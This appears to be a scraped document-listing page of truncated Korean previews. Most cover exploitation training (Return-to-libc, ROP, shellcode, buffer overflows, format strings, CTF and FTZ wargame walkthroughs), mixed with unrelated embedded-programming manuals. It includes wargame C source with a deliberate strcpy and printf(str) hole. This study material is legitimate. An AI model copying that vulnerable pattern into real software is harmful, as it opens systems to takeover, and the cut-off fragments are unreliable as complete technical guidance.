0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Verilog: Finite State Machines CSED311 Lab03 Joonsung Kim, joonsung90@postech.ac.kr Finite State Machines Digital system design 시간에배운것과같습니다. Moore / Mealy machines Verilog 를이용해서어떻게구현할까? 2 Finite State

More information

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을 리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc ARM asm 의구조 ARM Assembly 실습 1. 기본골격 AREA armex,code, READONLY ;Mark first instruction to execute start MOV r0, #10 MOV r1,#3 ADD r0, r0, r1 ; r0 = r0 + r1 stop NOP NOP B stop ; Mark end of file 위의 asm의구조를이해하고실행해보세요.

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

untitled

untitled 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

9

9 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

슬라이드 1

슬라이드 1 Pairwise Tool & Pairwise Test NuSRS 200511305 김성규 200511306 김성훈 200614164 김효석 200611124 유성배 200518036 곡진화 2 PICT Pairwise Tool - PICT Microsoft 의 Command-line 기반의 Free Software www.pairwise.org 에서다운로드후설치

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

Microsoft PowerPoint - es-arduino-lecture-03

Microsoft PowerPoint - es-arduino-lecture-03 임베디드시스템개론 : Arduino 활용 Lecture #3: Button Input & FND Control 2012. 3. 25 by 김영주 강의목차 디지털입력 Button switch 입력 Button Debounce 7-Segment FND : 직접제어 7-Segment FND : IC 제어 2 디지털입력 : Switch 입력 (1) 실습목표 아두이노디지털입력처리실습

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는 Dong Yang E&P 인버터 Modbus Monitoring Protocol 2018. 08. 27 Sun Spec (Modbus-RTU) -. Modbus Protocol 각 Field에대한설명 Frame갂의구별을위한최소한의시갂 BaudRate 9600에서 1bit 젂송시갂은 Start 0.104msec, (3.5 character Times, 1 Character

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

lecture4(6.범용IO).hwp

lecture4(6.범용IO).hwp 제 2 부 C-언어를 사용한 마이크로컨트롤러 활용기초 66 C-언어는 수학계산을 위해 개발된 FORTRAN 같은 고급언어들과는 달 리 Unix 운영체제를 개발하면서 같이 개발된 고급언어이다. 운영체제의 특성상 C-언어는 다른 고급언어에 비해 컴퓨터의 하드웨어를 직접 제어할 수 있는 능력이 탁월하여 마이크로프로세서의 프로그램에 있어서 어셈블 리와 더불어 가장

More information

PRO1_09E [읽기 전용]

PRO1_09E [읽기 전용] Siemens AG 1999 All rights reserved File: PRO1_09E1 Information and - ( ) 2 3 4 5 Monitor/Modify Variables" 6 7 8 9 10 11 CPU 12 Stop 13 (Forcing) 14 (1) 15 (2) 16 : 17 : Stop 18 : 19 : (Forcing) 20 :

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

C++ Programming

C++ Programming C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

MAX+plus II Getting Started - 무작정따라하기

MAX+plus II Getting Started - 무작정따라하기 무작정 따라하기 2001 10 4 / Version 20-2 0 MAX+plus II Digital, Schematic Capture MAX+plus II, IC, CPLD FPGA (Logic) ALTERA PLD FLEX10K Series EPF10K10QC208-4 MAX+plus II Project, Schematic, Design Compilation,

More information